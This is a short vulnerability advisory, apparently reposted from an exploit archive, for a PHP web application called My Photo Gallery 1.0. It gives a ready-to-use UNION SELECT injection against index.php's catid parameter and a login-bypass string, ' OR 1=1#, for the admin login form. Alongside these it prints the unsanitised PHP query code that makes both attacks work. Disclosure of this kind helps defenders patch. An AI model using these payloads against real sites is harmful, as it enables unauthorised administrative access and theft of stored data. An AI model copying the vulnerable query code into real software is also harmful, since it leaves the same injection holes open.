My Photo Gallery 1.0 SQL Injection / Unauthorized Login Vulnerabilities

-------------------------------------------------------------------------
[+] My Photo Gallery 1.0 SQL Injection / Unauthorized Login 
 ------------------------------------------------------------------------
[*] Discovered by Juri Gianni - Turin,Italy
[*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com
[*] Discovered on 02/02/2017
[*] Site Vendor: http://software.friendsinwar.com/news.php?readmore=40
[*] Category: WebApp
[*] BUG: SQL Injection
--------------------------------------------------------------------------

--------------------------------------------------------------------------------------
[+] SQL Injection

 #  my_photo_gallery/index.php?catid=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--

 #  This happens because of index.php

----------------------------------------------------------------------------------------

Line 29

if(isset($_GET['catid'])) {
	$cat_id=$_GET['catid'];  <--- variable not sanized
	$result = mysqli_query($conn, "select * FROM ".$prefix."images WHERE img_active=1 AND img_cat=$cat_id ORDER BY img_id LIMIT $start, $limit");
	$rows=mysqli_num_rows($result);
} else {
	$result = mysqli_query($conn, "select * FROM ".$prefix."images WHERE img_active=1 ORDER BY img_id LIMIT $start, $limit");
	$rows=mysqli_num_rows($result);
}



Line 36

--------------------------------------------------------------------------------------




--------------------------------------------------------------------------------------
[-] Login Bypass (short explanation)

 #  Go to login.php or admin/login.php and insert into username field:   ' OR 1=1# 

 #  This happens because of include/checklogin.php

--------------------------------------------------------------------------------------

Line 16

// Get the data passed from the form
$username = $_POST['username'];      <------ variable not sanized
$password = md5($_POST['password']);

// Do some basic sanitizing
$username = stripslashes($username);   <------ magic quotes pff...      
$password = stripslashes($password);

$sql = "select * from ".$prefix."users where username = '$username' and password = '$password'";  <----- query
$result = mysqli_query($conn, $sql) or die ( mysql_error() );

Line 25


------------------------------------------------------------------------

#  0day.today [2018-02-06]  #